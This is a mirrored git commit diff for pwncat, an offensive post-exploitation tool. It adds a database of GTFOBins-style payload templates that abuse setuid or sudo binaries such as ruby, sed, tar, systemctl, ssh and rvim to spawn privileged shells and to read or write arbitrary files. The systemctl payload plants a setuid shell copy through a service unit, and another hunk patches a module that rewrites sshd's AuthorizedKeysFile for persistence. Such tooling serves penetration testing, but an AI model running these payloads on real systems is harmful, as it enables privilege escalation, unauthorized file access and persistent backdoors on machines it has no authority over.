mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 10:54:14 +01:00
Added GTFObin files up to the letter r
This commit is contained in:
parent
5a4823c8d3
commit
b1dcb47c80
1
.gitignore
vendored
1
.gitignore
vendored
@ -9,3 +9,4 @@ testbed
|
||||
.idea/
|
||||
data/*.sqlite
|
||||
testing/
|
||||
data/pwncat.sqlite-journal
|
@ -259,34 +259,6 @@
|
||||
"exit": "exit\n"
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"socat": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["STDIN", "EXEC:{shell},nofork,pty"],
|
||||
"exit": "exit\n"
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"payload": "{command}",
|
||||
"args": ["-u", "FILE:{lfile}", "STDOUT"]
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "print",
|
||||
"payload": "{command} 2>/dev/null",
|
||||
"args": ["-u", "STDIN", "CREATE:{lfile}"],
|
||||
"exit": "{ctrl_d}"
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "base64",
|
||||
"payload": "{base64} -d | {command} 2>/dev/null",
|
||||
"args": ["-u", "STDIN", "CREATE:{lfile}"],
|
||||
"exit": "{ctrl_d}"
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"chmod": [
|
||||
{
|
||||
@ -871,6 +843,394 @@
|
||||
|
||||
|
||||
|
||||
//-------------------------------------------------------------------
|
||||
"ruby": [
|
||||
// if ruby is setuid, it will not let you run with -e or pass
|
||||
// commands piped through stdin... so we must create a temporary script
|
||||
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}",
|
||||
"args": ["$TF"]
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream":"print",
|
||||
"payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}",
|
||||
"args": ["$TF"]
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream":"print",
|
||||
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}",
|
||||
"args": ["$TF"],
|
||||
"exit": "{ctrl_d}{ctrl_d}"
|
||||
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream":"base64",
|
||||
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}",
|
||||
"args": ["$TF"],
|
||||
"exit": "{ctrl_d}{ctrl_d}"
|
||||
}
|
||||
],
|
||||
"ruby2.5": [
|
||||
// if ruby is setuid, it will not let you run with -e or pass
|
||||
// commands piped through stdin... so we must create a temporary script
|
||||
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "TF=$({mktemp}); echo 'exec \"{shell} -p\"' > $TF; {command}",
|
||||
"args": ["$TF"]
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream":"print",
|
||||
"payload": "TF=$({mktemp}); echo 'puts File.read(\"{lfile}\")' > $TF; {command}",
|
||||
"args": ["$TF"]
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream":"print",
|
||||
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {command}",
|
||||
"args": ["$TF"],
|
||||
"exit": "{ctrl_d}{ctrl_d}"
|
||||
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream":"base64",
|
||||
"payload": "TF=$({mktemp}); echo 'File.open(\"{lfile}\", \"w+\") {{ |f| f.write(ARGF.read) }}' > $TF; {base64} -d | {command}",
|
||||
"args": ["$TF"],
|
||||
"exit": "{ctrl_d}{ctrl_d}"
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
// run-mailcap should also be implemented.... it errors on my machine
|
||||
// (I do not know why) and neglected to test it to implement it.
|
||||
//
|
||||
//-------------------------------------------------------------------
|
||||
"run-parts": [
|
||||
// run-parts separates the shell's folder and filename, so {shell}
|
||||
// as a template option will not work well. I just get around this
|
||||
// by trying bash first... if that fails, fall back to sh.
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["--new-session", "--regex", "'^bash$'", "/bin", "--arg='-p'"]
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["--new-session", "--regex", "'^sh$'", "/bin", "--arg='-p'"]
|
||||
}
|
||||
],
|
||||
|
||||
//-------------------------------------------------------------------
|
||||
"scp": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "TF=$({mktemp}); echo '{shell} 0<&2 1>&2' > $TF; {chmod} +x \"$TF\"; {command}",
|
||||
"args": ["-S", "$TF", "x", "y:"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"screen": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["{shell}"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"script": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-qc", "{shell}", "/dev/null"]
|
||||
}
|
||||
],
|
||||
|
||||
//-------------------------------------------------------------------
|
||||
"sed": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-n", "'1e exec {shell} -p 1>&0'", "/etc/hosts"]
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["''", "{lfile}"]
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["-n", "'s/\\(.\\)/\\1/w {lfile}'" ],
|
||||
"exit": "{ctrl_d}{ctrl_d}"
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"service": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["../../{shell} -p"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"setarch": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["$({arch})", "{shell} -p"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"sftp": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-o", "ProxyCommand=';{shell} -p 0<&2 1>&2'", "x"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"shuf": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["-z", "{lfile}"]
|
||||
}
|
||||
// shuf CAN file write with...
|
||||
// LFILE=file_to_write
|
||||
// sudo shuf -e DATA -o "$LFILE"
|
||||
// but it replaces spaces with newlines...
|
||||
// which could be pretty problematic. I have left out that technique.
|
||||
// The other technique, below, adds null-bytes at the end of each line
|
||||
// This will make the "print" stream fail. and it will not work
|
||||
// for "base64" or "raw" streams either. :/
|
||||
// {
|
||||
// "type": "write",
|
||||
// "stream": "base64",
|
||||
// "payload": "{base64} -d | {command}",
|
||||
// "args": ["-z", "-o", "{lfile}"],
|
||||
// "exit":"{ctrl_d}{ctrl_d}"
|
||||
// }
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
// smbclient requires an attacker share or SMB/CIFS server be available.
|
||||
// This would likely be better as its own privesc method, so one share
|
||||
// can be automatically started to use this technique.
|
||||
// "smbclient": [
|
||||
// {
|
||||
// "type": "shell",
|
||||
// "payload": "{command} '\\\\attacker\\share'",
|
||||
// "args": [],
|
||||
// "input":"!{shell} -p"
|
||||
// },
|
||||
// ],
|
||||
|
||||
//-------------------------------------------------------------------
|
||||
"socat": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["STDIN", "EXEC:{shell},nofork,pty"],
|
||||
"exit": "exit\n"
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"payload": "{command}",
|
||||
"args": ["-u", "FILE:{lfile}", "STDOUT"]
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "print",
|
||||
"payload": "{command} 2>/dev/null",
|
||||
"args": ["-u", "STDIN", "CREATE:{lfile}"],
|
||||
"exit": "{ctrl_d}"
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "base64",
|
||||
"payload": "{base64} -d | {command} 2>/dev/null",
|
||||
"args": ["-u", "STDIN", "CREATE:{lfile}"],
|
||||
"exit": "{ctrl_d}"
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"soelim": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command} | {tail} -n +2",
|
||||
"args": ["{lfile}"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"sort": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["-m","{lfile}"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"sqlite3": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["/dev/null", "'.shell {shell} -p'"]
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream":"print",
|
||||
"payload": "echo -e \"CREATE TABLE t(line TEXT);\\n.import {lfile} t\\nSELECT * FROM t;\\n\" | {command}",
|
||||
"args": [""]
|
||||
}
|
||||
// https://gtfobins.github.io/gtfobins/sqlite3
|
||||
// sqlite3 could POTENTIALLY write a file with this sort of syntax
|
||||
// LFILE=file_to_write
|
||||
// sqlite3 /dev/null -cmd ".output $LFILE" 'select "DATA";'
|
||||
// but getting this as stdin might be difficult. Since it already
|
||||
// has shell capabaility, it can write after-the-fact and I won't
|
||||
// try to finagle this.
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"ssh": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-o", "ProxyCommand=';{shell} -p 0<&2 1>&2'", "x"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"start-stop-daemon": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-n", "$RANDOM", "-S", "-x", "{shell}", "--", "-p"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"stdbuf": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-i0", "{shell}", "-p"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"strace": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-o", "/dev/null", "{shell}", "-p"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"strings": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["{lfile}"]
|
||||
}
|
||||
],
|
||||
"x86_64-linux-gnu-strings": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["{lfile}"]
|
||||
}
|
||||
],
|
||||
"x86-linux-gnu-strings": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["{lfile}"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"systemctl": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "TF=$({mktemp} -u).service; TS=$({mktemp} -u); echo -e \"[Service]\\nType=oneshot\\nExecStart={shell} -c 'cp {shell} $TS; {chmod} +sx $TS;'\\n[Install]\\nWantedBy=multi-user.target\" > $TF; {command} link $TF; {command} enable --now $TF; $TS -p",
|
||||
"args": []
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"input":"!{shell} -p\n",
|
||||
"exit":"exit\n{ctrl_c}",
|
||||
"args": []
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"tac": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream":"raw",
|
||||
"payload": "{command}",
|
||||
"args": ["-s", "'_-_PWNCAT_RANDOM_DELIM_-_'", "{lfile}"]
|
||||
}
|
||||
],
|
||||
|
||||
//-------------------------------------------------------------------
|
||||
"tail": [
|
||||
{
|
||||
"type": "read",
|
||||
"stream":"raw",
|
||||
"payload": "{command}",
|
||||
"args": ["-c1GB", "{lfile}"]
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"tar": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-cf", "/dev/null", "/dev/null", "--checkpoint=1", "--checkpoint-action=exec={shell} -p"]
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["xf", "/dev/null", "-I", "'{shell} -p -c \"{shell} -p <&2 1>&2\"'"]
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "raw",
|
||||
"payload": "{command} 2>&1",
|
||||
"args": ["xf", "{lfile}", "-I", "'{sh} -c \"{cat} 1>&2\"'"]
|
||||
}
|
||||
// This requires invoking `tar` twice... before and after a pipe.
|
||||
// With sudo, this would not work well... and as SETUID, the file does not
|
||||
// seem to keep the permissions as the elevated user. I'll remove this,
|
||||
// because since it can get a shell, it can just "write a file" naturally.
|
||||
// {
|
||||
// "type": "write",
|
||||
// "stream":"base64",
|
||||
// "payload": "TF=$({mktemp}); {base64} -d > $TF; {command} | {tar} x -P",
|
||||
// "args": ["c", "--xform", "\"s@.*@{lfile}@\"", "-OP", "$TF"],
|
||||
// "exit": "{ctrl_d}{ctrl_d}"
|
||||
// }
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"taskset": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["1", "{shell}", "-p"]
|
||||
}
|
||||
],
|
||||
|
||||
//-------------------------------------------------------------------
|
||||
"tclsh": [
|
||||
{
|
||||
@ -1085,6 +1445,43 @@
|
||||
"exit": "{ctrl_d}"
|
||||
}
|
||||
],
|
||||
"rvim": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
|
||||
// Include an extra newline to be sure to exit vim itself.
|
||||
"exit": "exit\n\n"
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
|
||||
},
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "print",
|
||||
"payload": "{command}",
|
||||
"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
|
||||
},
|
||||
{
|
||||
"type": "write",
|
||||
"stream": "print",
|
||||
"payload": "{cat} - | {command}",
|
||||
"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
|
||||
"exit": "{ctrl_d}"
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"wish": [
|
||||
{
|
||||
|
@ -51,7 +51,7 @@ class Method(PersistenceMethod):
|
||||
|
||||
lines = []
|
||||
for line in config.split():
|
||||
if re.match(f"\s*AuthorizedKeysFile\s+"):
|
||||
if re.match(f"\s*AuthorizedKeysFile\s+", line):
|
||||
lines.append("#" + line)
|
||||
lines.append("AuthorizedKeysFile /.ssh/authorized_keys")
|
||||
else:
|
||||
|
@ -151,7 +151,10 @@ class SetuidMethod(Method):
|
||||
mode += "b"
|
||||
|
||||
try:
|
||||
data_printable = data.decode("utf-8").isprintable()
|
||||
# data_printable = data.decode("utf-8").isprintable()
|
||||
# Use the custom `util.isprintable()` so we can keep newlines
|
||||
data_printable = util.isprintable(data)
|
||||
|
||||
except UnicodeDecodeError:
|
||||
data_printable = False
|
||||
|
||||
|
@ -60,6 +60,22 @@ class Init(Enum):
|
||||
SYSV = auto()
|
||||
|
||||
|
||||
def isprintable(data) -> bool:
|
||||
"""
|
||||
This is a convenience function to be used rather than the usual
|
||||
``str.printable`` boolean value, as that built-in **DOES NOT** consider
|
||||
newlines to be part of the printable data set (weird!)
|
||||
"""
|
||||
|
||||
if type(data) is str:
|
||||
data = data.encode("utf-8")
|
||||
for c in data:
|
||||
if c not in bytes(string.printable, "ascii"):
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def human_readable_size(size, decimal_places=2):
|
||||
for unit in ["B", "KiB", "MiB", "GiB", "TiB"]:
|
||||
if size < 1024.0:
|
||||
|
Loading…
Reference in New Issue
Block a user